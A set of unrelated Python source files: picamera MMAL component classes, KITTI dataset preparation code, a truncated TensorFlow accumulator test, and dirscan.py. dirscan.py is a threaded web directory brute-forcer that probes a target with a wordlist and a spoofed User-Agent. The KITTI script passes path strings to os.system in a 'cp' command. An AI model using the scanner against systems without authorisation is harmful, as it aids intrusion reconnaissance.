'cannot send buffer to disabled port %s' % self.name)
if self._callback is not None:
# but what about output ports?
try:
# XXX Return value? If it's an input port we should ignore it,
self._callback(self, buf)
except:
buf.release()
raise
if self._type == mmal.MMAL_PORT_TYPE_INPUT:
# Input port case; queue the buffer for processing on the
# owning component
self._owner()._queue.put(buf)
elif self._connection is None:
# Unconnected output port case; release the buffer back to the
# pool
buf.release()
else:
# Connected output port case; forward the buffer to the
# connected component's input port
# XXX If it's a format-change event?
self._connection.target.send_buffer(buf)
@property
def name(self):
return '%s:%s:%d' % (self._owner().name, {
mmal.MMAL_PORT_TYPE_OUTPUT: 'out',
mmal.MMAL_PORT_TYPE_INPUT: 'in',
mmal.MMAL_PORT_TYPE_CONTROL: 'control',
mmal.MMAL_PORT_TYPE_CLOCK: 'clock',
}[self.type], self._index)
@property
def type(self):
"""
The type of the port. One of:
* MMAL_PORT_TYPE_OUTPUT
* MMAL_PORT_TYPE_INPUT
* MMAL_PORT_TYPE_CONTROL
* MMAL_PORT_TYPE_CLOCK
"""
return self._type
@property
def capabilities(self):
"""
The capabilities of the port. A bitfield of the following:
* MMAL_PORT_CAPABILITY_PASSTHROUGH
* MMAL_PORT_CAPABILITY_ALLOCATION
* MMAL_PORT_CAPABILITY_SUPPORTS_EVENT_FORMAT_CHANGE
"""
return mmal.MMAL_PORT_CAPABILITY_SUPPORTS_EVENT_FORMAT_CHANGE
@property
def index(self):
"""
Returns an integer indicating the port's position within its owning
list (inputs, outputs, etc.)
"""
return self._index
@property
def connection(self):
"""
If this port is connected to another, this property holds the
:class:`MMALConnection` or :class:`MMALPythonConnection` object which
represents that connection. If this port is not connected, this
property is ``None``.
"""
return self._connection
def connect(self, other, **options):
"""
Connect this port to the *other* :class:`MMALPort` (or
:class:`MMALPythonPort`). The type and configuration of the connection
will be automatically selected.
Various connection options can be specified as keyword arguments. These
will be passed onto the :class:`MMALConnection` or
:class:`MMALPythonConnection` constructor that is called (see those
classes for an explanation of the available options).
"""
# Always construct connections from the output end
if self.type != mmal.MMAL_PORT_TYPE_OUTPUT:
return other.connect(self, **options)
if other.type != mmal.MMAL_PORT_TYPE_INPUT:
raise PiCameraValueError(
'A connection can only be established between an output and '
'an input port')
return MMALPythonConnection(self, other, **options)
def disconnect(self):
"""
Destroy the connection between this port and another port.
"""
if self.connection is not None:
self.connection.close()
class MMALPythonPortPool(MMALPool):
"""
Creates a pool of buffer headers for an :class:`MMALPythonPort`. This is
only used when a fake port is used without a corresponding
:class:`MMALPythonConnection`.
"""
__slots__ = ('_port',)
def __init__(self, port):
super(MMALPythonPortPool, self).__init__(
mmal.mmal_pool_create(port.buffer_count, port.buffer_size))
self._port = port
@property
def port(self):
return self._port
def send_buffer(self, port=None, block=True, timeout=None):
"""
Get a buffer from the pool and send it to *port* (or the port the pool
is associated with by default). *block* and *timeout* act as they do in
:meth:`MMALPool.get_buffer`.
"""
if port is None:
port = self._port
super(MMALPythonPortPool, self).send_buffer(port, block, timeout)
def send_all_buffers(self, port=None, block=True, timeout=None):
"""
Send all buffers from the pool to *port* (or the port the pool is
associated with by default). *block* and *timeout* act as they do in
:meth:`MMALPool.get_buffer`.
"""
if port is None:
port = self._port
super(MMALPythonPortPool, self).send_all_buffers(port, block, timeout)
class MMALPythonBaseComponent(MMALObject):
"""
Base class for Python-implemented MMAL components. This class provides the
:meth:`_commit_port` method used by descendents to control their ports'
behaviour, and the :attr:`enabled` property. However, it is unlikely that
users will want to sub-class this directly. See
:class:`MMALPythonComponent` for a more useful starting point.
"""
__slots__ = ('_inputs', '_outputs', '_enabled',)
def __init__(self):
super(MMALPythonBaseComponent, self).__init__()
self._enabled = False
self._inputs = ()
self._outputs = ()
# TODO Control port?
def close(self):
"""
Close the component and release all its resources. After this is
called, most methods will raise exceptions if called.
"""
self.disable()
@property
def enabled(self):
"""
Returns ``True`` if the component is currently enabled. Use
:meth:`enable` and :meth:`disable` to control the component's state.
"""
return self._enabled
def enable(self):
"""
Enable the component. When a component is enabled it will process data
sent to its input port(s), sending the results to buffers on its output
port(s). Components may be implicitly enabled by connections.
"""
self._enabled = True
def disable(self):
"""
Disables the component.
"""
self._enabled = False
@property
def control(self):
"""
The :class:`MMALControlPort` control port of the component which can be
used to configure most aspects of the component's behaviour.
"""
return None
@property
def inputs(self):
"""
A sequence of :class:`MMALPort` objects representing the inputs
of the component.
"""
return self._inputs
@property
def outputs(self):
"""
A sequence of :class:`MMALPort` objects representing the outputs
of the component.
"""
return self._outputs
def _commit_port(self, port):
"""
Called by ports when their format is committed. Descendents may
override this to reconfigure output ports when input ports are
committed, or to raise errors if the new port configuration is
unacceptable.
.. warning::
This method must *not* reconfigure input ports when called; however
it can reconfigure *output* ports when input ports are committed.
"""
pass
def __repr__(self):
if self._outputs:
return '<%s "%s": %d inputs %d outputs>' % (
self.__class__.__name__, self.name,
len(self.inputs), len(self.outputs))
else:
return '<%s closed>' % self.__class__.__name__
class MMALPythonSource(MMALPythonBaseComponent):
"""
Provides a source for other :class:`MMALComponent` instances. The
specified *input* is read in chunks the size of the configured output
buffer(s) until the input is exhausted. The :meth:`wait` method can be
used to block until this occurs. If the output buffer is configured to
use a full-frame unencoded format (like I420 or RGB), frame-end flags will
be automatically generated by the source. When the input is exhausted an
empty buffer with the End Of Stream (EOS) flag will be sent.
The component provides all picamera's usual IO-handling characteristics; if
*input* is a string, a file with that name will be opened as the input and
closed implicitly when the component is closed. Otherwise, the input will
not be closed implicitly (the component did not open it, so the assumption
is that closing *input* is the caller's responsibility). If *input* is an
object with a ``read`` method it is assumed to be a file-like object and is
used as is. Otherwise, *input* is assumed to be a readable object
supporting the buffer protocol (which is wrapped in a :class:`BufferIO`
stream).
"""
__slots__ = ('_stream', '_opened', '_thread')
def __init__(self, input):
super(MMALPythonSource, self).__init__()
self._inputs = ()
self._outputs = (MMALPythonPort(self, mmal.MMAL_PORT_TYPE_OUTPUT, 0),)
self._stream, self._opened = open_stream(input, output=False)
self._thread = None
def close(self):
super(MMALPythonSource, self).close()
if self._outputs:
self._outputs[0].close()
self._outputs = ()
if self._stream:
close_stream(self._stream, self._opened)
self._stream = None
def enable(self):
super(MMALPythonSource, self).enable()
self._thread = Thread(target=self._send_run)
self._thread.daemon = True
self._thread.start()
def disable(self):
super(MMALPythonSource, self).disable()
if self._thread:
self._thread.join()
self._thread = None
def wait(self, timeout=None):
"""
Wait for the source to send all bytes from the specified input. If
*timeout* is specified, it is the number of seconds to wait for
completion. The method returns ``True`` if the source completed within
the specified timeout and ``False`` otherwise.
"""
if not self.enabled:
raise PiCameraMMALError(
mmal.MMAL_EINVAL, 'cannot wait on disabled component')
self._thread.join(timeout)
return not self._thread.is_alive()
def _send_run(self):
# Calculate the size of a frame if possible (i.e. when the output
# format is an unencoded full frame format). If it's an unknown /
# encoded format, we've no idea what the framesize is (this would
# presumably require decoding the stream) so leave framesize as None.
video = self._outputs[0]._format[0].es[0].video
try:
framesize = (
MMALPythonPort._FORMAT_BPP[str(self._outputs[0].format)]
* video.width
* video.height)
except KeyError:
framesize = None
frameleft = framesize
while self.enabled:
buf = self._outputs[0].get_buffer(timeout=0.1)
if buf:
try:
if frameleft is None:
send = buf.size
else:
send = min(frameleft, buf.size)
with buf as data:
if send == buf.size:
try:
# readinto() is by far the fastest method of
# getting data into the buffer
buf.length = self._stream.readinto(data)
except AttributeError:
# if there's no readinto() method, fallback on
# read() and the data setter (memmove)
buf.data = self._stream.read(buf.size)
else:
buf.data = self._stream.read(send)
if frameleft is not None:
frameleft -= buf.length
if not frameleft:
buf.flags |= mmal.MMAL_BUFFER_HEADER_FLAG_FRAME_END
frameleft = framesize
if not buf.length:
buf.flags |= mmal.MMAL_BUFFER_HEADER_FLAG_EOS
break
finally:
self._outputs[0].send_buffer(buf)
@property
def name(self):
return 'py.source'
class MMALPythonComponent(MMALPythonBaseComponent):
"""
Provides a Python-based MMAL component with a *name*, a single input and
the specified number of *outputs* (default 1). The :meth:`connect` and
:meth:`disconnect` methods can be used to establish or break a connection
from the input port to an upstream component.
Typically descendents will override the :meth:`_handle_frame` method to
respond to buffers sent to the input port, and will set
:attr:`MMALPythonPort.supported_formats` in the constructor to define the
formats that the component will work with.
"""
__slots__ = ('_name', '_thread', '_queue', '_error')
def __init__(self, name='py.component', outputs=1):
super(MMALPythonComponent, self).__init__()
self._name = name
self._thread = None
self._error = None
self._queue = MMALQueue.create()
self._inputs = (MMALPythonPort(self, mmal.MMAL_PORT_TYPE_INPUT, 0),)
self._outputs = tuple(
MMALPythonPort(self, mmal.MMAL_PORT_TYPE_OUTPUT, n)
for n in range(outputs)
)
def close(self):
super(MMALPythonComponent, self).close()
self.disconnect()
if self._inputs:
self._inputs[0].close()
self._inputs = ()
for output in self._outputs:
output.disable()
self._outputs = ()
self._queue.close()
self._queue = None
def connect(self, source, **options):
"""
Connects the input port of this component to the specified *source*
:class:`MMALPort` or :class:`MMALPythonPort`. Alternatively, as a
convenience (primarily intended for command line experimentation; don't
use this in scripts), *source* can be another component in which case
the first unconnected output port will be selected as *source*.
Keyword arguments will be passed along to the connection constructor.
See :class:`MMALConnection` and :class:`MMALPythonConnection` for
further information.
"""
if isinstance(source, (MMALPort, MMALPythonPort)):
return self.inputs[0].connect(source)
else:
for port in source.outputs:
if not port.connection:
return self.inputs[0].connect(port, **options)
raise PiCameraMMALError(
mmal.MMAL_EINVAL, 'no free output ports on %r' % source)
def disconnect(self):
"""
Destroy the connection between this component's input port and the
upstream component.
"""
self.inputs[0].disconnect()
@property
def connection(self):
"""
The :class:`MMALConnection` or :class:`MMALPythonConnection` object
linking this component to the upstream component.
"""
return self.inputs[0].connection
@property
def name(self):
return self._name
def _commit_port(self, port):
"""
Overridden to to copy the input port's configuration to the output
port(s), and to ensure that the output port(s)' format(s) match
the input port's format.
"""
super(MMALPythonComponent, self)._commit_port(port)
if port.type == mmal.MMAL_PORT_TYPE_INPUT:
for output in self.outputs:
output.copy_from(port)
elif port.type == mmal.MMAL_PORT_TYPE_OUTPUT:
if port.format != self.inputs[0].format:
raise PiCameraMMALError(mmal.MMAL_EINVAL, 'output format mismatch')
def enable(self):
super(MMALPythonComponent, self).enable()
if not self._thread:
self._thread = Thread(target=self._thread_run)
self._thread.daemon = True
self._thread.start()
def disable(self):
super(MMALPythonComponent, self).disable()
if self._thread:
self._thread.join()
self._thread = None
if self._error:
raise self._error
def _thread_run(self):
try:
while self._enabled:
buf = self._queue.get(timeout=0.1)
if buf:
try:
handler = {
0: self._handle_frame,
mmal.MMAL_EVENT_PARAMETER_CHANGED: self._handle_parameter_changed,
mmal.MMAL_EVENT_FORMAT_CHANGED: self._handle_format_changed,
mmal.MMAL_EVENT_ERROR: self._handle_error,
mmal.MMAL_EVENT_EOS: self._handle_end_of_stream,
}[buf.command]
if handler(self.inputs[0], buf):
self._enabled = False
finally:
buf.release()
except Exception as e:
self._error = e
self._enabled = False
def _handle_frame(self, port, buf):
"""
Handles frame data buffers (where :attr:`MMALBuffer.command` is set to
0).
Typically, if the component has output ports, the method is expected to
fetch a buffer from the output port(s), write data into them, and send
them back to their respective ports.
Return values are as for normal event handlers (``True`` when no more
buffers are expected, ``False`` otherwise).
"""
return False
def _handle_format_changed(self, port, buf):
"""
Handles format change events passed to the component (where
:attr:`MMALBuffer.command` is set to MMAL_EVENT_FORMAT_CHANGED).
The default implementation re-configures the input port of the
component and emits the event on all output ports for downstream
processing. Override this method if you wish to do something else in
response to format change events.
The *port* parameter is the port into which the event arrived, and
*buf* contains the event itself (a MMAL_EVENT_FORMAT_CHANGED_T
structure). Use ``mmal_event_format_changed_get`` on the buffer's data
to extract the event.
"""
with buf as data:
event = mmal.mmal_event_format_changed_get(buf._buf)
if port.connection:
# Handle format change on the source output port, if any. We
# don't check the output port capabilities because it was the
# port that emitted the format change in the first case so it'd
# be odd if it didn't support them (or the format requested)!
output = port.connection._source
output.disable()
if isinstance(output, MMALPythonPort):
mmal.mmal_format_copy(output._format, event[0].format)
else:
mmal.mmal_format_copy(output._port[0].format, event[0].format)
output.commit()
output.buffer_count = (
event[0].buffer_num_recommended
if event[0].buffer_num_recommended > 0 else
event[0].buffer_num_min)
output.buffer_size = (
event[0].buffer_size_recommended
if event[0].buffer_size_recommended > 0 else
event[0].buffer_size_min)
if isinstance(output, MMALPythonPort):
output.enable()
else:
output.enable(port.connection._transfer)
# Now deal with the format change on this input port (this is only
# called from _thread_run so port must be an input port)
try:
if not (port.capabilities & mmal.MMAL_PORT_CAPABILITY_SUPPORTS_EVENT_FORMAT_CHANGE):
raise PiCameraMMALError(
mmal.MMAL_EINVAL,
'port %s does not support event change' % self.name)
mmal.mmal_format_copy(port._format, event[0].format)
self._commit_port(port)
port.pool.resize(
event[0].buffer_num_recommended
if event[0].buffer_num_recommended > 0 else
event[0].buffer_num_min,
event[0].buffer_size_recommended
if event[0].buffer_size_recommended > 0 else
event[0].buffer_size_min)
port.buffer_count = len(port.pool)
port.buffer_size = port.pool[0].size
except:
# If this port can't handle the format change, or if anything goes
# wrong (like the owning component doesn't like the new format)
# stop the pipeline (from here at least)
if port.connection:
port.connection.disable()
raise
# Chain the format-change onward so everything downstream sees it.
# NOTE: the callback isn't given the format-change because there's no
# image data in it
for output in self.outputs:
out_buf = output.get_buffer()
out_buf.copy_from(buf)
output.send_buffer(out_buf)
return False
def _handle_parameter_changed(self, port, buf):
"""
Handles parameter change events passed to the component (where
:attr:`MMALBuffer.command` is set to MMAL_EVENT_PARAMETER_CHANGED).
The default implementation does nothing but return ``False``
(indicating that processing should continue). Override this in
descendents to respond to parameter changes.
The *port* parameter is the port into which the event arrived, and
*buf* contains the event itself (a MMAL_EVENT_PARAMETER_CHANGED_T
structure).
"""
return False
def _handle_error(self, port, buf):
"""
Handles error notifications passed to the component (where
:attr:`MMALBuffer.command` is set to MMAL_EVENT_ERROR).
The default implementation does nothing but return ``True`` (indicating
that processing should halt). Override this in descendents to respond
to error events.
The *port* parameter is the port into which the event arrived.
"""
return True
def _handle_end_of_stream(self, port, buf):
"""
Handles end-of-stream notifications passed to the component (where
:attr:`MMALBuffer.command` is set to MMAL_EVENT_EOS).
The default implementation does nothing but return ``True`` (indicating
that processing should halt). Override this in descendents to respond
to the end of stream.
The *port* parameter is the port into which the event arrived.
"""
return True
class MMALPythonTarget(MMALPythonComponent):
"""
Provides a simple component that writes all received buffers to the
specified *output* until a frame with the *done* flag is seen (defaults to
MMAL_BUFFER_HEADER_FLAG_EOS indicating End Of Stream).
The component provides all picamera's usual IO-handling characteristics; if
*output* is a string, a file with that name will be opened as the output
and closed implicitly when the component is closed. Otherwise, the output
will not be closed implicitly (the component did not open it, so the
assumption is that closing *output* is the caller's responsibility). If
*output* is an object with a ``write`` method it is assumed to be a
file-like object and is used as is. Otherwise, *output* is assumed to be a
writeable object supporting the buffer protocol (which is wrapped in a
:class:`BufferIO` stream).
"""
__slots__ = ('_opened', '_stream', '_done', '_event')
def __init__(self, output, done=mmal.MMAL_BUFFER_HEADER_FLAG_EOS):
super(MMALPythonTarget, self).__init__(name='py.target', outputs=0)
self._stream, self._opened = open_stream(output)
self._done = done
self._event = Event()
# Accept all the formats picamera generally produces (user can add
# other esoteric stuff if they need to)
self.inputs[0].supported_formats = {
mmal.MMAL_ENCODING_MJPEG,
mmal.MMAL_ENCODING_H264,
mmal.MMAL_ENCODING_JPEG,
mmal.MMAL_ENCODING_GIF,
mmal.MMAL_ENCODING_PNG,
mmal.MMAL_ENCODING_BMP,
mmal.MMAL_ENCODING_I420,
mmal.MMAL_ENCODING_RGB24,
mmal.MMAL_ENCODING_BGR24,
mmal.MMAL_ENCODING_RGBA,
mmal.MMAL_ENCODING_BGRA,
}
def close(self):
super(MMALPythonTarget, self).close()
close_stream(self._stream, self._opened)
def enable(self):
self._event.clear()
super(MMALPythonTarget, self).enable()
def wait(self, timeout=None):
"""
Wait for the output to be "complete" as defined by the constructor's
*done* parameter. If *timeout* is specified it is the number of seconds
to wait for completion. The method returns ``True`` if the target
completed within the specified timeout and ``False`` otherwise.
"""
return self._event.wait(timeout)
def _handle_frame(self, port, buf):
self._stream.write(buf.data)
if buf.flags & self._done:
self._event.set()
return True
return False
class MMALPythonConnection(MMALBaseConnection):
"""
Represents a connection between an :class:`MMALPythonBaseComponent` and a
:class:`MMALBaseComponent` or another :class:`MMALPythonBaseComponent`.
The constructor accepts arguments providing the *source* :class:`MMALPort`
(or :class:`MMALPythonPort`) and *target* :class:`MMALPort` (or
:class:`MMALPythonPort`).
The *formats* parameter specifies an iterable of formats (in preference
order) that the connection may attempt when negotiating formats between
the two ports. If this is ``None``, or an empty iterable, no negotiation
will take place and the source port's format will simply be copied to the
target port. Otherwise, the iterable will be worked through in order until
a format acceptable to both ports is discovered.
The *callback* parameter can optionally specify a callable which will be
executed for each buffer that traverses the connection (providing an
opportunity to manipulate or drop that buffer). If specified, it must be a
callable which accepts two parameters: the :class:`MMALPythonConnection`
object sending the data, and the :class:`MMALBuffer` object containing
data. The callable may optionally manipulate the :class:`MMALBuffer` and
return it to permit it to continue traversing the connection, or return
``None`` in which case the buffer will be released.
.. data:: default_formats
:annotation: = (MMAL_ENCODING_I420, MMAL_ENCODING_RGB24, MMAL_ENCODING_BGR24, MMAL_ENCODING_RGBA, MMAL_ENCODING_BGRA)
Class attribute defining the default formats used to negotiate
connections between Python and and MMAL components, in preference
order. Note that OPAQUE is not present in contrast with the default
formats in :class:`MMALConnection`.
"""
__slots__ = ('_enabled', '_callback')
default_formats = (
mmal.MMAL_ENCODING_I420,
mmal.MMAL_ENCODING_RGB24,
mmal.MMAL_ENCODING_BGR24,
mmal.MMAL_ENCODING_RGBA,
mmal.MMAL_ENCODING_BGRA,
)
def __init__(
self, source, target, formats=default_formats, callback=None):
if not (
isinstance(source, MMALPythonPort) or
isinstance(target, MMALPythonPort)
):
raise PiCameraValueError('use a real MMAL connection')
super(MMALPythonConnection, self).__init__(source, target, formats)
self._enabled = False
self._callback = callback
def close(self):
self.disable()
super(MMALPythonConnection, self).close()
@property
def enabled(self):
"""
Returns ``True`` if the connection is enabled. Use :meth:`enable`
and :meth:`disable` to control the state of the connection.
"""
return self._enabled
def enable(self):
"""
Enable the connection. When a connection is enabled, data is
continually transferred from the output port of the source to the input
port of the target component.
"""
if not self._enabled:
self._enabled = True
if isinstance(self._target, MMALPythonPort):
# Connected python input ports require no callback
self._target.enable()
else:
# Connected MMAL input ports don't know they're connected so
# provide a dummy callback
self._target.params[mmal.MMAL_PARAMETER_ZERO_COPY] = True
self._target.enable(lambda port, buf: True)
if isinstance(self._source, MMALPythonPort):
# Connected python output ports are nothing more than thin
# proxies for the target input port; no callback required
self._source.enable()
else:
# Connected MMAL output ports are made to transfer their
# data to the Python input port
self._source.params[mmal.MMAL_PARAMETER_ZERO_COPY] = True
self._source.enable(self._transfer)
def disable(self):
"""
Disables the connection.
"""
self._enabled = False
self._source.disable()
self._target.disable()
def _transfer(self, port, buf):
while self._enabled:
try:
dest = self._target.get_buffer(timeout=0.01)
except PiCameraPortDisabled:
dest = None
if dest:
dest.copy_from(buf)
try:
self._target.send_buffer(dest)
except PiCameraPortDisabled:
pass
return False
@property
def name(self):
return '%s/%s' % (self._source.name, self._target.name)
def __repr__(self):
try:
return '<MMALPythonConnection "%s">' % self.name
except NameError:
return '<MMALPythonConnection closed>'
|
dirscan.py | # -*- coding: utf-8 -*-
import requests
import threading
import time
import os
import sys
path = os.getcwd()
cache = (path+'/cache')
dict = (path + '/core/dict.txt')
#print(dict)
f = open(cache+'/url.log')
tmpurl = f.read()
target_url = ('http://' + tmpurl + "/")
#print(target_url)
threads = []
thread_max = threading.BoundedSemaphore(500)
header = {
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; ',
}
def scan(url):
try:
respon = requests.get(url, headers=header)
if (respon.status_code == 200):
print( '[+] ' 'CODE: [' + str(respon.status_code) + ']' + " " +url)
except:
pass
thread_max.release()
def main(file,url):
for i in file:
newUrl = url+i
newUrl = newUrl.strip()
thread_max.acquire()
t = threading.Thread(target=scan, args=(newUrl,))
threads.append(t)
t.start()
for t in threads:
t.join()
if __name__ == '__main__':
start = time.time()
url = target_url
director = dict
file = open(director)
main(file,url)
end = time.time()
print( ' [+]',end-start)
|
kitti_raw.py | import os, sys
import numpy as np
import imageio
from tqdm import tqdm
import torch.multiprocessing as mp
import pdb
import shutil
def process_folder(q, static_frames, test_scenes, data_dir, output_dir, stride=1):
while True:
if q.empty():
break
folder = q.get()
if folder in static_frames.keys():
static_ids = static_frames[folder]
else:
static_ids = []
# scene = folder.split(os.sep)[1]
date, scene = folder.split(os.sep) # originated used '/', which not work in Windows
if scene[:-5] in test_scenes:
continue
image_path = os.path.join(data_dir, folder, 'image_02', 'data')
dump_image_path = os.path.join(output_dir, folder)
if not os.path.isdir(dump_image_path):
os.makedirs(dump_image_path)
f = open(os.path.join(dump_image_path, 'train.txt'), 'w')
# Note. the os.listdir method returns arbitary order of list. We need correct order.
numbers = len(os.listdir(image_path))
print('processing {} '.format(folder))
for n in range(numbers - stride):
s_idx = n
e_idx = s_idx + stride
if '%.10d'%s_idx in static_ids or '%.10d'%e_idx in static_ids:
#print('%.10d'%s_idx)
continue
curr_image = imageio.imread(os.path.join(image_path, '%.10d'%s_idx)+'.png')
next_image = imageio.imread(os.path.join(image_path, '%.10d'%e_idx)+'.png')
seq_images = np.concatenate([curr_image, next_image], axis=0)
imageio.imsave(os.path.join(dump_image_path, '%.10d'%s_idx)+'.png', seq_images.astype('uint8'))
# Write training files
# date = folder.split(os.sep)[0] # TODO remove the assert below when it never raise error
assert date == folder.split(os.sep)[0]
f.write('%s %s\n' % (os.path.join(folder, '%.10d'%s_idx)+'.png', os.path.join(date, 'calib_cam_to_cam.txt')))
print('\t{} done'.format(folder))
class KITTI_RAW(object):
def __init__(self, data_dir, static_frames_txt, test_scenes_txt):
self.data_dir = data_dir
self.static_frames_txt = static_frames_txt
self.test_scenes_txt = test_scenes_txt
def __len__(self):
raise NotImplementedError
def collect_static_frame(self):
"""
return the dict of static frames
read lines in format 'date drive frame_id' from self.static_frames_txt,
and save in a dict
key: date/drive
val: '%.10d' % frame_id
"""
f = open(self.static_frames_txt)
static_frames = {}
for line in f.readlines():
line = line.strip()
date, drive, frame_id = line.split(' ')
curr_fid = '%.10d' % (np.int(frame_id))
if os.path.join(date, drive) not in static_frames.keys():
static_frames[os.path.join(date, drive)] = []
static_frames[os.path.join(date, drive)].append(curr_fid)
return static_frames
def collect_test_scenes(self):
"""
return a list of (str)test scenes read from self.test_scenes_txt
"""
f = open(self.test_scenes_txt)
test_scenes = []
for line in f.readlines():
line = line.strip()
test_scenes.append(line)
return test_scenes
def prepare_data_mp(self, output_dir, stride=1):
num_processes = 16
processes = []
q = mp.Queue()
static_frames = self.collect_static_frame()
test_scenes = self.collect_test_scenes()
if not os.path.isfile(os.path.join(output_dir, 'train.txt')):
if not os.path.isdir(output_dir):
os.makedirs(output_dir)
print('created folder\n\t{}'.format(output_dir))
#f = open(os.path.join(output_dir, 'train.txt'), 'w')
print('Preparing sequence data....')
if not os.path.isdir(self.data_dir):
raise
dirlist = os.listdir(self.data_dir)
total_dirlist = []
# Get the different folders of images
for d in dirlist:
seclist = os.listdir(os.path.join(self.data_dir, d))
for s in seclist:
if os.path.isdir(os.path.join(self.data_dir, d, s)):
total_dirlist.append(os.path.join(d, s))
q.put(os.path.join(d, s))
# Process every folder
for rank in range(num_processes):
p = mp.Process(target=process_folder, args=(q, static_frames, test_scenes, self.data_dir, output_dir, stride))
p.start()
processes.append(p)
for p in processes:
p.join()
# Collect the training frames.
f = open(os.path.join(output_dir, 'train.txt'), 'w')
for date in os.listdir(output_dir):
if os.path.isdir(os.path.join(output_dir, date)):
drives = os.listdir(os.path.join(output_dir, date))
for d in drives:
train_file = open(os.path.join(output_dir, date, d, 'train.txt'), 'r')
for l in train_file.readlines():
f.write(l)
# Get calib files
for date in os.listdir(self.data_dir):
# command = 'cp ' + os.path.join(self.data_dir, date, 'calib_cam_to_cam.txt') + ' ' + os.path.join(output_dir, date, 'calib_cam_to_cam.txt')
# os.system(command)
shutil.copyfile(os.path.join(self.data_dir, date, 'calib_cam_to_cam.txt'),
os.path.join(output_dir, date))
print('Data Preparation Finished.')
def prepare_data(self, output_dir):
static_frames = self.collect_static_frame()
test_scenes = self.collect_test_scenes()
if not os.path.isfile(os.path.join(output_dir, 'train.txt')):
os.makedirs(output_dir)
f = open(os.path.join(output_dir, 'train.txt'), 'w')
print('Preparing sequence data....')
if not os.path.isdir(self.data_dir):
raise
dirlist = os.listdir(self.data_dir)
total_dirlist = []
# Get the different folders of images
for d in dirlist:
seclist = os.listdir(os.path.join(self.data_dir, d))
for s in seclist:
if os.path.isdir(os.path.join(self.data_dir, d, s)):
total_dirlist.append(os.path.join(d, s))
# Process every folder
for folder in tqdm(total_dirlist):
if folder in static_frames.keys():
static_ids = static_frames[folder]
else:
static_ids = []
scene = folder.split('/')[1]
if scene in test_scenes:
continue
image_path = os.path.join(self.data_dir, folder, 'image_02/data')
dump_image_path = os.path.join(output_dir, folder)
if not os.path.isdir(dump_image_path):
os.makedirs(dump_image_path)
# Note. the os.listdir method returns arbitary order of list. We need correct order.
numbers = len(os.listdir(image_path))
for n in range(numbers - 1):
s_idx = n
e_idx = s_idx + 1
if '%.10d'%s_idx in static_ids or '%.10d'%e_idx in static_ids:
print('%.10d'%s_idx)
continue
curr_image = imageio.imread(os.path.join(image_path, '%.10d'%s_idx)+'.png')
next_image = imageio.imread(os.path.join(image_path, '%.10d'%e_idx)+'.png')
seq_images = np.concatenate([curr_image, next_image], axis=0)
imageio.imsave(os.path.join(dump_image_path, '%.10d'%s_idx)+'.png', seq_images.astype('uint8'))
# Write training files
date = folder.split('/')[0]
f.write('%s %s\n' % (os.path.join(folder, '%.10d'%s_idx)+'.png', os.path.join(date, 'calib_cam_to_cam.txt')))
print(folder)
# Get calib files
for date in os.listdir(self.data_dir):
command = 'cp ' + os.path.join(self.data_dir, date, 'calib_cam_to_cam.txt') + ' ' + os.path.join(output_dir, date, 'calib_cam_to_cam.txt')
os.system(command)
return os.path.join(output_dir, 'train.txt')
def __getitem__(self, idx):
raise NotImplementedError
if __name__ == '__main__':
data_dir = '/home4/zhaow/data/kitti'
dirlist = os.listdir('/home4/zhaow/data/kitti')
output_dir = '/home4/zhaow/data/kitti_seq/data_generated_s2'
total_dirlist = []
# Get the different folders of images
for d in dirlist:
seclist = os.listdir(os.path.join(data_dir, d))
for s in seclist:
if os.path.isdir(os.path.join(data_dir, d, s)):
total_dirlist.append(os.path.join(d, s))
F = open(os.path.join(output_dir, 'train.txt'), 'w')
for p in total_dirlist:
traintxt = os.path.join(os.path.join(output_dir, p), 'train.txt')
f = open(traintxt, 'r')
for line in f.readlines():
F.write(line)
print(traintxt)
|
sparse_conditional_accumulator_ali_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import time
import numpy as np
import os
# set environ before tf initializing global varialbes
PreservedKey = 1 << 10;
os.environ["DEEPREC_CONFIG_RAND_64"] = str(PreservedKey)
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes as dtypes_lib
from tensorflow.python.framework import errors_impl
from tensorflow.python.framework import ops
from tensorflow.python.framework import tensor_shape
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import data_flow_ops
from tensorflow.python.platform import test
def _indexedslice(ids, dim, size):
#indices = np.sort(np.random.randint(size, size=ids))
indices = np.sort(np.random.choice(range(size), ids, replace=False))
values = np.random.ranf(size=(ids, dim)).astype(np.float32)
dense_shape = np.array([size, dim])
return ops.IndexedSlices(indices=indices, values=values, dense_shape=dense_shape)
def _indexedslice_sort(indexedslice):
indices = indexedslice.indices
values = indexedslice.values
dense_shape = indexedslice.dense_shape
Z = zip(indices, values)
Z = sorted(Z)
indices, values = zip(*Z)
return ops.IndexedSlicesValue(
indices=indices, values=values, dense_shape=dense_shape)
class IndexedSlicesConditionalAccumulatorTest(test.TestCase):
def _assertEqual_indexedslices(self, expected_tensor, result):
self.assertAllEqual(expected_tensor.indices, result.indices)
self.assertAllClose(expected_tensor.values, result.values)
if (result.dense_shape is not None and
expected_tensor.dense_shape is not None):
self.assertAllEqual(expected_tensor.dense_shape, result.dense_shape)
def testAccumulatorApplyAndBlockingTake2(self):
N = 2000
S = 2000000
D = 18
K = 60
accumulator_types = ('raw', 'multi_map')
with self.cached_session() as sess:
inputs = []
for i in range(K):
x = _indexedslice(N, D, S)
#print("input:", x.indices, x.values)
inputs.append(x)
results = []
for accumulator_type in accumulator_types:
q = data_flow_ops.SparseConditionalAccumulator(
dtypes_lib.float32, name="Q", shape=(),
reduction_type="MEAN",
accumulator_type=accumulator_type)
accum_ops = []
for x in inputs:
accum_ops.append(q.apply_indexed_slices_grad(x, local_step=i))
takeg_t = q.take_indexed_slices_grad(K)
def apply_indexed_slices_grad():
for accum_op in accum_ops:
sess.run(accum_op)
def take_grad():
results.append(sess.run(takeg_t))
accum_thread = self.checkedThread(target=apply_indexed_slices_grad)
takeg_thread = self.checkedThread(target=take_grad)
accum_thread.start()
takeg_thread.start()
accum_thread.join()
takeg_thread.join()
for i in range(1, len(accumulator_types)):
print("check ", accumulator_types[i])
